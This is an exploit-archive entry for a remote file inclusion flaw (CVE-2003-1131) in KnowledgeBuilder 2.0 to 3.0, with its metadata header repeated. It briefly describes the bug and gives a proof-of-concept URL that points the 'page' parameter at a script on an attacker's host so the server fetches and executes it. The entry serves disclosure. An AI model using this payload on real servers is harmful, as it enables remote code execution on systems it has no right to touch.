KnowledgeBuilder 2.0/2.1/3.0 - Remote File Inclusion
| EKU-ID: 28919 | CVE: CVE-2003-1131;OSVDB-3228 | OSVDB-ID: |
| Author: Zero X | Published: 2003-12-24 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 28919 | CVE: CVE-2003-1131;OSVDB-3228 | OSVDB-ID: |
| Author: Zero X | Published: 2003-12-24 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
source: https://www.securityfocus.com/bid/9292/info KnowledgeBuilder is prone to a remote file include vulnerability. An attacker could exploit this to cause hostile PHP scripts to be included and executed from a remote server. This would occur in the security context of the web server hosting the software. http://www.example.com/kb/index.php?page=http://[attacker's_host]/[attacker's_script]